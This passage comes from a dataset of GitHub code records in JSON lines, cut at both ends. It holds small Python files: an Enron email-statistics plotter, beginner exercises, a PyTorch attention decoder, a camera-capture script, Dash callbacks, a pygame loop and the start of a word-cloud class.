dfrecipients):\r\n print(\"Exporting CSV of 1st part...\")\r\n df_total = pd.DataFrame()\r\n df_total['person'] = people\r\n\r\n lol = pd.merge(df_total, dfsenders, left_on='person', right_on='sender', how=\"outer\")\r\n lol.timesAsSender.fillna(0, inplace=True)\r\n\r\n lol2 = pd.merge(df_total, dfrecipients, left_on='person', right_on='recipient', how=\"outer\")\r\n lol2.timesAsRecipient.fillna(0, inplace=True)\r\n\r\n df_total['timesAsSender'] = lol['timesAsSender'].astype(int)\r\n df_total['timesAsRecipient'] = lol2['timesAsRecipient'].astype(int)\r\n df_total = df_total.sort_values(by=['timesAsSender'], ascending=False)\r\n df_total.head()\r\n\r\n output1path = './summarydata.csv'\r\n\r\n df_total.to_csv(output1path)\r\n return df_total\r\n\r\ndef exportLineChart(df_total, df):\r\n print(\"Exporting Linechart for 2nd part...\")\r\n bestsenders = list(df_total.head(20)['person']) # Get 20 top senders\r\n outputpath = './top_senders_plot'\r\n count=0\r\n plt.figure(figsize=(16,10))\r\n sns.set(style=\"darkgrid\")\r\n\r\n if not os.path.exists(outputpath):\r\n os.mkdir(outputpath)\r\n\r\n for senderperson in bestsenders:\r\n count = count+1\r\n tempdf = df[df['sender']==senderperson][['time','sender']]\r\n tempdf.set_index('time',inplace=True)\r\n\r\n agg = tempdf.resample('M').count() # resample by month \r\n agg.reset_index(inplace=True) # needed for the TS plot\r\n\r\n ax = sns.lineplot(x=\"time\", y=\"sender\", label=str(senderperson), data=agg)\r\n\r\n #ax.xaxis.set_major_locator(mdates.MONTHS_PER_YEAR)\r\n\r\n ax.set(xlabel='Months', ylabel='Sent emails of Top 20 Senders')\r\n plt.gcf().autofmt_xdate() # fix tick labels\r\n\r\n\r\n fig = ax.get_figure() \r\n fig.savefig(outputpath+'/senders.png') # save figure to .png\r\n \r\ndef exportLineChart2(df3, df_total):\r\n print(\"Exporting Linechart for 3rd part...\")\r\n bestsenders = list(df_total.head(20)['person']) # Get 20 top senders\r\n plt.figure(figsize=(16,10))\r\n sns.set(style=\"darkgrid\")\r\n outputpath2 = './unique_senders_plot'\r\n if not os.path.exists(outputpath2):\r\n os.mkdir(outputpath2)\r\n for person in bestsenders:\r\n tempdf = df3[df3['RecipientList']==person]\r\n #print(tempdf)\r\n tempdf.drop(['RecipientList'], axis = 1, inplace=True)\r\n tempdf.set_index('time',inplace=True)\r\n agg = tempdf.resample('M').nunique()\r\n agg.reset_index(inplace=True) # needed for the TS plot\r\n \r\n ax = sns.lineplot(x=\"time\", y=\"sender\", label=str(person), data=agg)\r\n\r\n #ax.xaxis.set_major_locator(mdates.MONTHS_PER_YEAR)\r\n\r\n ax.set(xlabel='Months', ylabel='Unique senders over Time')\r\n plt.gcf().autofmt_xdate() # fix tick labels\r\n\r\n\r\n fig = ax.get_figure() \r\n fig.savefig(outputpath2+'/recievers.png') # save figure to .png\r\n \r\n # save figure to .png\r\n\r\ndef exportLineChart3(df, df3, df_total):\r\n print(\"Exporting ratio Linechart for 3rd part...\")\r\n bestsenders = list(df_total.head(20)['person']) # Get 20 top senders\r\n plt.figure(figsize=(16,10))\r\n sns.set(style=\"darkgrid\")\r\n outputpath3 = './ratio_plot'\r\n if not os.path.exists(outputpath3):\r\n os.mkdir(outputpath3)\r\n \r\n for person in bestsenders:\r\n #print(str(person))\r\n #tempdf = df3[df3['RecipientList']==person]\r\n \r\n tempdf1 = df[df['sender']==person][['time','message_id']]\r\n tempdf2 = df3[df3['RecipientList']==person].drop(['RecipientList'], axis = 1)\r\n \r\n tempdf1.set_index('time',inplace=True)\r\n tempdf2.set_index('time',inplace=True)\r\n \r\n agg1 = tempdf1.resample('M').count() # how many emails they sent per month\r\n agg1.reset_index(inplace=True)\r\n agg2 = tempdf2.resample('M').nunique() # how many unique people sent them emails per month\r\n agg2.reset_index(inplace=True)\r\n \r\n final = pd.merge(agg1, agg2, on='time')\r\n #print(\"agg1 is \"+str(len(agg1))+\", agg2 is \"+str(len(agg2))+\" and final is \"+str(len(final)))\r\n final.rename(columns={'message_id': 'emails_sent', 'sender': 'unique_senders'}, inplace=True)\r\n \r\n final['ratio'] = (final['emails_sent']+1)/(1+final['unique_senders'])\r\n \r\n# if str(person)=='pete davis':\r\n# print(final)\r\n ax = sns.lineplot(x=\"time\", y=\"ratio\", label=str(person), data=final)\r\n\r\n #ax.xaxis.set_major_locator(mdates.MONTHS_PER_YEAR)\r\n\r\n ax.set(xlabel='Months', ylabel='Ratio of Email sent/Unique senders over Time')\r\n plt.gcf().autofmt_xdate() # fix tick labels\r\n\r\n\r\n fig = ax.get_figure() \r\n fig.savefig(outputpath3+'/ratio_plot.png') # save figure to .png\r\n \r\n \r\n\r\n\r\ndef main(file):\r\n start = time.time()\r\n\r\n datapath = './'+str(file)\r\n #datapath = './enron-event-history-all.csv'\r\n \r\n \r\n df = readcleanandprocess(datapath)\r\n df2, people = calculateTotalPeople(df) # df2 will be needed further - it has the recipients UNPACKED\r\n #print(\"There are \"+str(len(people))+\" unique 'people' in the dataset\")\r\n dfsenders = calculateSenders(df)\r\n dfrecipients, df3 = calculateRecipients(df2)\r\n df_total = exportToCsv(people, dfsenders, dfrecipients)\r\n exportLineChart(df_total, df)\r\n exportLineChart2(df3, df_total)\r\n exportLineChart3(df, df3, df_total) \r\n \r\n end = time.time()\r\n print(\"Total execution time: \"+str(end - start)+\" seconds\")\r\n print(\"Plots are located in ./top_senders_plot ./unique_senders_plot and ./ratio_plot folders respectively\")\r\n\r\nif __name__ == '__main__':\r\n file = str(sys.argv[1])\r\n main(file)","repo_name":"GeorgeG92/BNP-Project","sub_path":"summarize-enron.py","file_name":"summarize-enron.py","file_ext":"py","file_size_in_byte":10125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10024039065","text":"x = int(input(\"How Many Fibonacci Numbers : \"))\na = 1\nb = 1\nif x % 2 == 0:\n for i in range(int(x / 2)):\n print(a)\n print(b)\n a,b =(a+b),(a + (2 * b))\nelif x % 2 == 1:\n for i in range(int(x // 2)):\n print(a)\n print(b)\n a,b =(a+b),(a + (2 * b))\n print(a)\n\n","repo_name":"q55090724/270201049","sub_path":"lab5/l5example5.py","file_name":"l5example5.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"32864812926","text":"# EXERCÍCIOS 36: Crie um programa para aprovar o emprestimo bancário para a compra de uma casa. O programa vai\n# perguntar o valor da casa, o salário do comprador e sem quantos anos ele vai pagar.Calcule o valor da\n# prestação mensal, sabendo que ela não pode exceder 30% do salário ou então o empr será negado.\nprint('\\033[7mCREDFLA - EMPRÉSTIMOS CONSIGNADOS\\033[m')\nwhile True: # leitura e teste da variável casa\n try:\n casa = float(input('Valor do Imóvel em R$: '))\n except ValueError:\n print('O valor do imóvel precisa ser um número. Tente novamente')\n else:\n break\nwhile True: # leitura e testa da variável renda\n try:\n renda = float(input('Renda mensal do consignatário em R$: '))\n except ValueError:\n print('A renda precisa ser um número. Tente novamente')\n else:\n break\nwhile True: # leitura e teste da variável tempo\n try:\n tempo = int(input('Tempo para quitação em ANOS: '))\n except ValueError:\n print('O tempo precisa ser um número INTEIRO. Tente novamente')\n else:\n break\n# print(casa, renda, tempo)\nmensal = casa / (tempo * 12)\nlimite = renda * 0.3\n\nif mensal <= limite:\n print('\\033[7mCrédito Aprovado!!!\\033[m')\n print('Valor da Prestação:\\tR${:8,.2f}'.format(mensal))\n print('Número de Parcelas:\\t {:4}'.format(tempo))\nelse:\n print('\\033[7mCrédito REPROVADO!!!\\033[m\\nPrestação acima do valor limite de R${:8,.2f}'.format(limite))\n","repo_name":"alvalenda/Curso-Python","sub_path":"ex036.py","file_name":"ex036.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74907479550","text":"import torch\nimport torch.nn as nn\nimport numpy as np\n\nclass Attention(nn.Module):\n\n \"\"\"\n Attention network for calculate attention value\n \"\"\"\n def __init__(self, encoder_dim, decoder_dim, attention_dim):\n \"\"\"\n :param encoder_dim: input size of encoder network\n :param decoder_dim: input size of decoder network\n :param attention_dim: input size of attention network\n \"\"\"\n super(Attention, self).__init__()\n self.encoder_att = nn.Linear(encoder_dim, attention_dim) # linear layer to transform encoded image\n self.decoder_att = nn.Linear(decoder_dim, attention_dim) # linear layer to transform decoder's output\n self.full_att = nn.Linear(attention_dim, 1) # linear layer to calculate values to be softmax-ed\n self.relu = nn.ReLU()\n self.softmax = nn.Softmax(dim=1) # softmax layer to calculate weights\n\n def forward(self, encoder_out, decoder_hidden):\n att1 = self.encoder_att(encoder_out) # (batch_size, num_pixels, attention_dim)\n att2 = self.decoder_att(decoder_hidden) # (batch_size, attention_dim)\n att = self.full_att(self.relu(att1 + att2.unsqueeze(1))).squeeze(2) # (batch_size, num_pixels)\n alpha = self.softmax(att) # (batch_size, num_pixels)\n attention_weighted_encoding = (encoder_out * alpha.unsqueeze(2)).sum(dim=1) # (batch_size, encoder_dim)\n return attention_weighted_encoding, alpha\n\n\nclass DecoderWithAttention(nn.Module):\n \"\"\"\n Decoder network with attention network used for training\n \"\"\"\n\n def __init__(self, attention_dim, embed_dim, decoder_dim, vocab_size, device, encoder_dim=512, dropout=0.5):\n \"\"\"\n :param attention_dim: input size of attention network\n :param embed_dim: input size of embedding network\n :param decoder_dim: input size of decoder network\n :param vocab_size: total number of characters used in training\n :param encoder_dim: input size of encoder network\n :param dropout: dropout rate\n \"\"\"\n super(DecoderWithAttention, self).__init__()\n self.encoder_dim = encoder_dim\n self.attention_dim = attention_dim\n self.embed_dim = embed_dim\n self.decoder_dim = decoder_dim\n self.vocab_size = vocab_size\n self.dropout = dropout\n self.device = device\n self.attention = Attention(encoder_dim, decoder_dim, attention_dim) # attention network\n self.embedding = nn.Embedding(vocab_size, embed_dim) # embedding layer\n self.dropout = nn.Dropout(p=self.dropout)\n self.decode_step = nn.LSTMCell(embed_dim + encoder_dim, decoder_dim, bias=True) # decoding LSTMCell\n self.init_h = nn.Linear(encoder_dim, decoder_dim) # linear layer to find initial hidden state of LSTMCell\n self.init_c = nn.Linear(encoder_dim, decoder_dim) # linear layer to find initial cell state of LSTMCell\n self.f_beta = nn.Linear(decoder_dim, encoder_dim) # linear layer to create a sigmoid-activated gate\n self.sigmoid = nn.Sigmoid()\n self.fc = nn.Linear(decoder_dim, vocab_size) # linear layer to find scores over vocabulary\n self.init_weights() # initialize some layers with the uniform distribution\n\n def init_weights(self):\n self.embedding.weight.data.uniform_(-0.1, 0.1)\n self.fc.bias.data.fill_(0)\n self.fc.weight.data.uniform_(-0.1, 0.1)\n\n def load_pretrained_embeddings(self, embeddings):\n self.embedding.weight = nn.Parameter(embeddings)\n\n def fine_tune_embeddings(self, fine_tune=True):\n for p in self.embedding.parameters():\n p.requires_grad = fine_tune\n\n def init_hidden_state(self, encoder_out):\n mean_encoder_out = encoder_out.mean(dim=1)\n h = self.init_h(mean_encoder_out) # (batch_size, decoder_dim)\n c = self.init_c(mean_encoder_out)\n return h, c\n\n def forward(self, encoder_out, encoded_captions, caption_lengths):\n \"\"\"\n :param encoder_out: output of encoder network\n :param encoded_captions: transformed sequence from character to integer\n :param caption_lengths: length of transformed sequence\n \"\"\"\n batch_size = encoder_out.size(0)\n encoder_dim = encoder_out.size(-1)\n vocab_size = self.vocab_size\n encoder_out = encoder_out.view(batch_size, -1, encoder_dim) # (batch_size, num_pixels, encoder_dim)\n num_pixels = encoder_out.size(1)\n caption_lengths, sort_ind = caption_lengths.squeeze(1).sort(dim=0, descending=True)\n encoder_out = encoder_out[sort_ind]\n encoded_captions = encoded_captions[sort_ind]\n # embedding transformed sequence for vector\n embeddings = self.embedding(encoded_captions) # (batch_size, max_caption_length, embed_dim)\n # initialize hidden state and cell state of LSTM cell\n h, c = self.init_hidden_state(encoder_out) # (batch_size, decoder_dim)\n # set decode length by caption length - 1 because of omitting start token\n decode_lengths = (caption_lengths - 1).tolist()\n predictions = torch.zeros(batch_size, max(decode_lengths), vocab_size).to(self.device)\n alphas = torch.zeros(batch_size, max(decode_lengths), num_pixels).to(self.device)\n # predict sequence\n for t in range(max(decode_lengths)):\n batch_size_t = sum([l > t for l in decode_lengths])\n attention_weighted_encoding, alpha = self.attention(encoder_out[:batch_size_t], h[:batch_size_t])\n gate = self.sigmoid(self.f_beta(h[:batch_size_t])) # gating scalar, (batch_size_t, encoder_dim)\n attention_weighted_encoding = gate * attention_weighted_encoding\n h, c = self.decode_step(\n torch.cat([embeddings[:batch_size_t, t, :], attention_weighted_encoding], dim=1),\n (h[:batch_size_t], c[:batch_size_t])) # (batch_size_t, decoder_dim)\n preds = self.fc(self.dropout(h)) # (batch_size_t, vocab_size)\n predictions[:batch_size_t, t, :] = preds\n alphas[:batch_size_t, t, :] = alpha\n return predictions, encoded_captions, decode_lengths, alphas, sort_ind\n \n def predict(self, encoder_out, decode_lengths, tokenizer):\n batch_size = encoder_out.size(0)\n encoder_dim = encoder_out.size(-1)\n vocab_size = self.vocab_size\n encoder_out = encoder_out.view(batch_size, -1, encoder_dim) # (batch_size, num_pixels, encoder_dim)\n num_pixels = encoder_out.size(1)\n # embed start tocken for LSTM input\n start_tockens = torch.ones(batch_size, dtype=torch.long).to(self.device) * tokenizer.stoi[\"\"]\n embeddings = self.embedding(start_tockens)\n # initialize hidden state and cell state of LSTM cell\n h, c = self.init_hidden_state(encoder_out) # (batch_size, decoder_dim)\n predictions = torch.zeros(batch_size, decode_lengths, vocab_size).to(self.device)\n # predict sequence\n for t in range(decode_lengths):\n attention_weighted_encoding, alpha = self.attention(encoder_out, h)\n gate = self.sigmoid(self.f_beta(h)) # gating scalar, (batch_size_t, encoder_dim)\n attention_weighted_encoding = gate * attention_weighted_encoding\n h, c = self.decode_step(\n torch.cat([embeddings, attention_weighted_encoding], dim=1),\n (h, c)) # (batch_size_t, decoder_dim)\n preds = self.fc(self.dropout(h)) # (batch_size_t, vocab_size)\n predictions[:, t, :] = preds\n if np.argmax(preds.detach().cpu().numpy()) == tokenizer.stoi[\"\"]:\n break\n embeddings = self.embedding(torch.argmax(preds, -1))\n return predictions","repo_name":"CarnoZhao/utils","sub_path":"nlp/attention.py","file_name":"attention.py","file_ext":"py","file_size_in_byte":7742,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"69956235711","text":"import cv2 as cv\n\nimport numpy as np\n\ncap = cv.VideoCapture(\"nvarguscamerasrc ! video/x-raw(memory:NVMM), width=1024, height=600,format=(string)NV12, framerate=(fraction)30/1 ! nvvidconv flip-method=2 ! video/x-raw, width=(int)1024, height=(int)600, format=(string)BGRx ! videoconvert ! appsink\",cv.CAP_GSTREAMER)\n\nif not cap.isOpened():\n print(\"Cannot open RGB camera.\")\n exit()\nelse:\n cv.namedWindow(\"RGB\",cv.WINDOW_AUTOSIZE)\n print(\"Running, press ESC or Ctrl-c to exit...\")\n while True:\n ret, frame = cap.read()\n if not ret:\n print(\"Can't receive RGB frame. Exiting...\")\n break\n \n cv.imshow('RGB',cv.resize(frame,(640,480)))\n if cv.waitKey(5) == 27:\n print(\"Key pressed. Exiting...\")\n break\n\n\nprint(\"Releasing RGB...\")\ncap.release()\nprint(\"Destroy all...\")\ncv.destroyAllWindows()\n","repo_name":"asvilesov/health_diagnostic_sensor","sub_path":"health_sensor_jetson_env/testRGB.py","file_name":"testRGB.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4941569138","text":"def long_palindrome(str_: str):\n n = len(str_)\n p = [[0] * n for _ in range(n)]\n for i in range(n):\n p[i][i] = 1\n for len_ in range(1, n):\n for i in range(0, n - len_):\n j = i + len_\n if str_[i] == str_[j]:\n p[i][j] = p[i + 1][j - 1] + 2\n else:\n p[i][j] = max(p[i + 1][j], p[i][j - 1])\n return p[0][n - 1]\n\n\nclass Long_Palindrome:\n\n def __init__(self, str_):\n self.str_ = str_\n\n def solve(self):\n count, a = self.long_palindrome_memory()\n n = len(self.str_)\n return self.print_palindrome(0, n - 1, a), count\n\n def long_palindrome_memory(self):\n n = len(self.str_)\n p = [[0] * n for _ in range(n)]\n memory = [[0] * n for _ in range(n)]\n for i in range(n):\n p[i][i] = 1\n for len_ in range(1, n):\n for i in range(0, n - len_):\n j = i + len_\n if self.str_[i] == self.str_[j]:\n p[i][j] = p[i + 1][j - 1] + 2\n else:\n p[i][j] = max(p[i + 1][j], p[i][j - 1])\n if p[i][j] == p[i + 1][j]:\n memory[i][j] = 1\n else:\n memory[i][j] = 2\n return p[0][n - 1], memory\n\n def print_palindrome(self, i, j, memory):\n arr = []\n if i > j:\n return arr\n if i == j:\n return [self.str_[i]]\n if memory[i][j] == 0:\n arr += [self.str_[i]]\n arr += self.print_palindrome(i + 1, j - 1, memory)\n arr += [self.str_[j]]\n elif memory[i][j] == 1:\n arr = self.print_palindrome(i + 1, j, memory)\n else:\n arr = self.print_palindrome(i, j - 1, memory)\n return arr\n\n","repo_name":"tfcp68/manual-projects","sub_path":"Исходники/Глава 2. Часть 1/Динамическое программирование1/Динамическое программирование1/На отрезках/37. Длинный палиндром/Python/long_palindrome.py","file_name":"long_palindrome.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"40344083472","text":"# -*- coding: utf-8 -*-\n# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-\n# vi: set ft=python sts=4 ts=4 sw=4 et:\n\nimport os\nfrom pathlib import Path\n\nimport pytest\n\nfrom halfpipe.stats.fit import fit\n\nfrom .conftest import Dataset\n\n\n@pytest.mark.slow\n@pytest.mark.timeout(1200)\ndef test_fit(tmp_path: Path, wakemandg_hensonrn: Dataset):\n os.chdir(str(tmp_path))\n\n (\n subjects,\n cope_files,\n var_cope_files,\n mask_files,\n regressors,\n contrasts,\n ) = wakemandg_hensonrn\n\n result = fit(\n cope_files=cope_files,\n var_cope_files=var_cope_files,\n mask_files=mask_files,\n regressors=regressors,\n contrasts=contrasts,\n algorithms_to_run=[\"mcartest\", \"heterogeneity\"],\n num_threads=1,\n )\n\n assert len(result) > 0\n assert \"hetchisq\" in result\n assert \"mcarz\" in result\n","repo_name":"HALFpipe/HALFpipe","sub_path":"tests/stats/test_fit.py","file_name":"test_fit.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"60"} +{"seq_id":"74601980349","text":"# Crie um programa que leia o 'ano de nascimento' de sete pessoas.\n# No final mostre quantas pessoas ainda não atingiram a maioridade e quantos já são maiores. (Considerar 21 anos a maioridade)\nfrom datetime import date\natual = date.today().year\ntotmaior = 0\ntotmenor = 0 \nfor pess in range(1, 8):\n nasc1 = int(input('Em que ano a {}ª pessoa nasceu? '.format(pess)))\n idade = atual - nasc1\n print('Você tem {} anos'.format(idade))\n if idade >= 21:\n totmaior += 1\n else:\n totmenor += 1\nprint('Temos {} pessoas maiores de idade'.format(totmaior))\nprint('Temos {} pessoas menores de idade'.format(totmenor))","repo_name":"luizhmfonseca/Estudos-Python","sub_path":"EXERCÍCIOS - meus códigos/EX54 - Análise de maioridade.py","file_name":"EX54 - Análise de maioridade.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"15588538101","text":"from dash.dependencies import Input, Output, State\n\nfrom app import app\n\n\n@app.callback(\n Output(\"sidebar\", \"className\"),\n [Input(\"sidebar-toggle\", \"n_clicks\")],\n [State(\"sidebar\", \"className\")],\n)\ndef toggle_classname(n, classname):\n if n and classname == \"\":\n return \"collapsed\"\n return \"\"\n\n\n@app.callback(\n Output(\"collapse\", \"is_open\"),\n [Input(\"navbar-toggle\", \"n_clicks\")],\n [State(\"collapse\", \"is_open\")],\n)\ndef toggle_collapse(n, is_open):\n if n:\n return not is_open\n return is_open","repo_name":"CzakoZoltan08/dash-clean-architecture-template","sub_path":"layout/sidebar/sidebar_callbacks.py","file_name":"sidebar_callbacks.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"60"} +{"seq_id":"30131229547","text":"import pygame as p\r\nimport sys\r\nfrom Board import *\r\nfrom Musica.chainMusic import *\r\nfrom Musica.AsignarSucesor import *\r\nfrom Heroe import *\r\n\r\nventana = p.display.set_mode ((900,800),p.RESIZABLE)\r\n\r\nboard = Board(ventana)\r\np.display.set_caption(\"zombIES\")\r\nstate = True\r\nz=30\r\nNEGRO = (0,0,0)\r\nsoundFx = Asigandora()\r\nperso = Heroe(ventana)\r\ntimer = p.time.Clock()\r\n\r\n\r\n\r\nwhile state:\r\n for event in p.event.get():\r\n if event.type == p.QUIT:\r\n sys.exit()\r\n if event.type == p.KEYDOWN:\r\n soundFx.listaSucesores[0].handlerRequest(event.key)\r\n \r\n\r\n ventana.fill(NEGRO)\r\n board.pintar()\r\n p.draw.rect(ventana, NEGRO, perso.update())\r\n timer.tick(30)\r\n p.display.update()\r\n \r\n ","repo_name":"DaemonKing966/ProyectoFinal-Modelos","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71648678270","text":"def factorial(n: int) -> int :\n result = 1\n for i in range(1, n + 1):\n result *= i\n return result\n\ndef allPattern1(n: int) -> int :\n if (n < 2) :\n return 1\n return allPattern1(n - 1) + allPattern1(n - 2)\n\ndef allPattern2(n: int) -> int :\n sum = 0\n one = n\n two = 0\n while one > 1 :\n sum += factorial(one + two) // (factorial(one) * factorial(two))\n one -= 2\n two += 1\n return sum\n\nprint(allPattern1(39))\n\n# print(allPattern2(39))","repo_name":"NitipoomKlaynium/CodingPractice","sub_path":"Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31355744537","text":"# source : https://www.acmicpc.net/problem/11575\n\ndef main():\n # input\n for _ in range(int(input())):\n # input\n a, b = map(int, input().split())\n word = input()\n \n print(''.join([chr(((a * (ord(c) - 65) + b) % 26) + 65) for c in word]))\n \nif __name__ == '__main__':\n main()","repo_name":"myae3080/Algorithm-Study","sub_path":"Baekjoon/python/11575.py","file_name":"11575.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71298852031","text":"def query_finding():\n query = input('Search for your Doctor : ')\n return query\n\ndef filter1():\n asking_for_filter_experiance = input('If you want filter by Year of Experiance type yes otherwise no : ')\n filter_experiance = \"\"\n if(asking_for_filter_experiance.lower() == \"yes\"):\n filter_experiance = input('Type the year of experiance Doctor should have :')\n return filter_experiance\n\ndef filter2(): \n asking_for_filter_fees = input('If you want filter by consultation fees type yes otherwise no : ')\n filter_fees = \"\"\n if(asking_for_filter_fees.lower() == \"yes\"):\n filter_fees = input('Type the atmost fees Doctor should have :') \n return filter_fees","repo_name":"DY-2001/Health_Domain_Search_Retrieval","sub_path":"Main/query_search.py","file_name":"query_search.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10792386455","text":"#coding:utf-8\n\n'''\nCreated on 2017年2月14日\n@author: shuai.chen\n'''\n\nfrom __future__ import absolute_import\n\nimport functools\nfrom sqlalchemy import text\n\nfrom .cache import Cache\n\ndef operate(func):\n '''\n 数据库操作\n '''\n @functools.wraps(func)\n def _deco(self, *args, **kwargs):\n self.session = self.model.session()\n try:\n return func(self, *args, **kwargs) \n except:\n if self.session:\n self.session.rollback()\n raise\n finally:\n if self.session:\n self.session.close() \n return _deco\n\nclass Service(object):\n\n def __init__(self,model=None, cache=True):\n self.model = model\n if cache:\n self.cache = Cache()\n \n @operate \n def get(self, **condition):\n \"\"\"\n 根据 条件 获取对象\n @param param:\n condition:dict \n \"\"\"\n return self.session.query(self.model).filter_by(**condition).first()\n \n @operate \n def insert(self, obj):\n \"\"\"\n insert \n @param param:\n attrs:dict \n \"\"\"\n obj = self.model(**obj) if isinstance(obj, dict) else obj\n self.session.add(obj)\n self.session.commit()\n return obj.id\n \n @operate \n def update(self, attrs, **condition):\n \"\"\"\n update \n @param param:\n condition:dict \n attrs:dict \n \"\"\" \n self.session.query(self.model).filter_by(**condition).update(attrs)\n self.session.commit() \n \n @operate\n def delete(self, obj):\n \"\"\"\n delete object\n @param param:\n obj:object \n \"\"\"\n self.session.delete(obj)\n self.session.commit() \n \n @operate \n def gets(self,**condition):\n \"\"\"\n get list\n 根据 条件 获取对象 list\n @param param:\n condition:dict \n \"\"\"\n if condition:\n return self.session.query(self.model).filter_by(**condition).all()\n else:\n return self.session.query(self.model).all()\n\n @operate\n def get_by_sql(self, sql, *fields):\n '''\n 根据字段和SQL语句查询\n @param param: \n SQL：查询语句\n @return: \n result:返回查询列表 \n '''\n sql = text(sql)\n if fields:\n result = self.session.query(*fields).from_statement(sql).params().all() \n else:\n result = self.session.query(self.model).from_statement(sql).params().all() \n return result \n\n @operate\n def get_by_sqls(self, sqls):\n '''\n 根据字段和SQL语句查询\n @param param: \n SQLs：多个查询语句 [(sql,[fields]),]\n @return: \n result:返回查询列表 \n '''\n results = []\n for item in sqls:\n sql, fields = text(item[0]), item[1]\n if fields:\n result = self.session.query(*fields).from_statement(sql).params().all() \n else:\n result = self.session.query(self.model).from_statement(sql).params().all() \n results.append(result) \n return results \n ","repo_name":"nxgycf/app-breeding","sub_path":"base/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":3389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10897081259","text":"from copy import deepcopy\nfrom random import randrange\n\nclass Solver:\n def __init__(self):\n self.sudoku_horizontal = []\n self.sudoku_vertical = []\n self.possible_numbers = []\n\n # generates 9 lists each holding 9 times \" \"\n def generate_horizontal_sudoku(self):\n for y in range(9):\n self.sudoku_horizontal.append([\" \" for x in range(9)])\n\n return self.sudoku_horizontal\n\n # prints the grid in sudoku formatting to the console\n def print_grid(self, sudoku):\n for list_index in range(9):\n grid = \"\"\n\n for item_index in range(9):\n if item_index % 3 == 0:\n grid = grid + \" |\"\n\n grid = grid + \" \" + sudoku[list_index][item_index]\n\n if list_index % 3 == 0:\n print(\" -------------------------\")\n\n print(grid + \" |\")\n\n print(\" -------------------------\")\n\n # lets the user fill the empty grid\n def get_user_input(self):\n list_index = 0\n while list_index < 9:\n item_index = 0\n while item_index < 9:\n self.sudoku_horizontal[list_index][item_index] = \"X\"\n self.print_grid(self.sudoku_horizontal)\n inpt = input(\"Enter number, nothing/space, x for redo: \")\n\n if inpt == \"\":\n inpt = \" \"\n\n if inpt == \"x\":\n if item_index == 0 and list_index == 0:\n pass\n else:\n self.sudoku_horizontal[list_index][item_index] = \" \"\n\n if item_index == 0:\n list_index = list_index - 1\n item_index = 9\n\n item_index = item_index - 1\n else:\n self.sudoku_horizontal[list_index][item_index] = str(inpt)\n item_index = item_index + 1\n\n list_index = list_index + 1\n\n # from sudoku(left to right) get a second list (top to bottom)\n def generate_vertical_sudoku(self):\n for item_index in range(9):\n tmp_list = []\n for list_index in range(9):\n tmp_list.append((self.sudoku_horizontal[list_index][item_index]))\n\n self.sudoku_vertical.append(tmp_list)\n\n return self.sudoku_vertical\n\n def find_possible_numbers(self):\n # generate list of all possible numbers (1-9) for ever single position\n\n tmp_list = []\n for i in range(9):\n tmp_list.append((str(i + 1)))\n\n # 3d list, is it the best idea? who knows\n for y in range(9):\n self.possible_numbers.append([deepcopy(tmp_list) for x in range(9)])\n\n # delete duplicates from possible list checking ever position with horizontal and vertical\n for row_index in range(9):\n for column_index in range(9):\n self.possible_numbers[row_index][column_index] = list(\n set(self.possible_numbers[row_index][column_index]) - set(self.sudoku_horizontal[row_index]))\n self.possible_numbers[row_index][column_index] = list(\n set(self.possible_numbers[row_index][column_index]) - set(self.sudoku_vertical[column_index]))\n\n return self.possible_numbers\n\n def rnd_solve(self):\n sudoku = deepcopy(self.sudoku_horizontal)\n for row_index in range(9):\n for column_index in range(9):\n if sudoku[row_index][column_index] == \" \":\n sudoku[row_index][column_index] = self.possible_numbers[row_index][column_index][randrange(0, len(\n self.possible_numbers[row_index][column_index]))]\n\n return sudoku\n","repo_name":"TheGreenYonder/sudoku_solver_py","sub_path":"solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":3750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"16527778587","text":"from imageio import imread\nimport matplotlib.pyplot as plt\nimport jieba\nfrom wordcloud import WordCloud, ImageColorGenerator\nfrom collections import Counter\nfrom make_world_cloud.DataBase import DB\n\n# 制作词云的类\nclass makeCW:\n # 构造函数\n # 参数：是否启用中文分词（true or false），图片编号一般为相应的景点编号，指定的词语（不会被分割的词语，数组），文本值（要分析的文本内容）\n def __init__(self,cn,numPic,newWords,text,pic_path):\n self.isCN = cn # 默认启用中文分词\n self.text = text\n self.count = Counter()\n self.number = numPic\n self.pic_path = pic_path # 设置背景图片路径\n self.font_path = './resource/simkai.ttf' # 为matplotlib设置中文字体路径，没有这个字体的话中文会乱码\n self.stopwords_path = './resource/stop_words.txt' # 停用词词表\n self.save_img_path_1 = \"./savePicture/\" + str(numPic) + 